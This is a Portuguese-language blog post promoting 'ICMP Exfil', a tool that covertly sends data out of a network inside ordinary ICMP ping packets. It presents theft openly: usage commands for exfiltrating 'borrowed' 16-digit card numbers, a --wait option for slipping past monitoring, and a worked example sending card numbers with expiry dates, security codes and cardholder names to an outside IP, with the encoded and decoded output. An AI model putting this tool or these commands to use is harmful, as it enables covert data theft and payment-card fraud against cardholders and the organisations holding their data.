Pular para o conteúdo

Transmitir dados através de pacotes ICMP válidos com ICMP Exfil

    O ICMP Exfil permite transmitir dados através de pacotes ICMP válidos. Você utiliza o script client para passar dados que deseja exfiltrar e, em seguida, no dispositivo que você está transmitindo para ser executado no servidor. Qualquer pessoa que esteja escutando – sistema humano ou de segurança – apenas verá pacotes válidos de ICMP, não há nada malicioso sobre a estrutura dos pacotes. Seus dados também não estão ocultos dentro dos pacotes ICMP, portanto, olhar para o pacote não lhe diz o que foi exfiltrado.

    icmp-exfil-01
    Imagem: demonstração de utilização do ICMP Exfil

    ASCII

    Agora, a única coisa que adicionei suporte são caracteres ASCII. Você poderá exfiltrar qualquer coisa que possa ser representada em caracteres ASCII (por exemplo, letras e números). Por exemplo: você emprestou alguns números de 16 dígitos, então você usaria o script client para passar esses números para o seu servidor, fazendo ./ping.py --ascii "4111111111111111".

    Enviando para o servidor

    Você tem duas opções para configurar o servidor para enviar. Você pode usar --ip ou pode definir o IP padrão no script chamado ipToPing.

    Wait

    Se você quiser ser um pouco mais paciente e tornar mais difícil para as pessoas perceberem que você está exfiltrando dados que você pode usar --wait para especificar a quantidade de tempo mínimo + o tempo que é suposto passar para que os dados sejam transferidos. Isso ainda está sendo trabalhado. Por isso, você precisará fazer essa conversão você mesmo, mas não deve demorar muito para adicionar.

    Verbose

    Se você gostaria de ver os pings passando, você pode usar --show.

    Start/Stop Server

    Quando você deseja iniciar o servidor, faça sudo python3 server.py. Você não precisa fazer mais nada. Quando terminar, você só precisa pressionar Ctrl + C. Agora, o servidor precisa de trabalho, ele precisa mapear a entrada com base em quem recebeu os dados, agora eu apenas testei com um cliente fazendo um ping no servidor, e é claro que precisa ser ajustado. O trabalho de base já está lá, só precisa obter o reset juntos.

    Exemplo

    Encontrei um banco de dados cheio desses números de 16 dígitos, então, preciso salvá-los para futuras pesquisas, então os guardo em um arquivo chamado file: Command: ./ping.py --ip 1.2.3.4 --asciiFile file File Content: 4587965312457852 01/15 456 Martino Jones | 4567965382457452 03/16 236 Martino Joe Encoded Data: ['0110100', '0110101', '0111000', '0110111', '0111001', '0110110', '0110101', '0110011', '0110001', '0110010', '0110100', '0110101', '0110111', '0111000', '0110101', '0110010', '0100000', '0110000', '0110001', '0101111', '0110001', '0110101', '0100000', '0110100', '0110101', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1101110', '1100101', '1110011', '0100000', '1111100', '0100000', '0110100', '0110101', '0110110', '0110111', '0111001', '0110110', '0110101', '0110011', '0111000', '0110010', '0110100', '0110101', '0110111', '0110100', '0110101', '0110010', '0100000', '0110000', '0110011', '0101111', '0110001', '0110110', '0100000', '0110010', '0110011', '0110110', '0100000', '1001101', '1100001', '1110010', '1110100', '1101001', '1101110', '1101111', '0100000', '1001010', '1101111', '1100101', '0001010'] Server:

    Calculando offsets
    
    4 5 8 7 9 6 5 3 1 2 4 5 7 8 5 2   0 1 / 1 5   4 5 6   M a r t i n o   J o n e s   |   4 5 6 7 9 6 5 3 8 2 4 5 7 4 5 2   0 3 / 1 6   2 3 6   M a r t i n o   J o e 
    
    

    To-Do

    Se você quiser ajudar, há uma série de coisas que ainda preciso adicionar:

      • Transmitir arquivos binários, pode apenas ler no arquivo como binário e não precisará codificar;

     

      • Permitir passar no servidor o offset, caso você queira tornar a janela maior ou menor, muito útil em conexões muito ruins;

     

      • Imprimir mapeamento de IP para DATA quando concluído;

     

      • Permitir quiet server;

     

      • Permitir mostrar os dados à medida que ele vem; é um pouco mais complicado, mas requer apenas alguns cálculos de offset;

     

    • Mais coisas como eles vêm à mente.

    Download do ICMP Exfil

    Para efetuar o download do ICMP Exfil, acesse o projeto oficial no GitHub ou então baixe diretamente por este link.

    .

    Fonte: HoC – Hackers Online Club

    Imagem destacada utilizada neste post: Freepik

    .

    Deixe um comentário

    O seu endereço de e-mail não será publicado. Campos obrigatórios são marcados com *

    Esse site utiliza o Akismet para reduzir spam. Aprenda como seus dados de comentários são processados.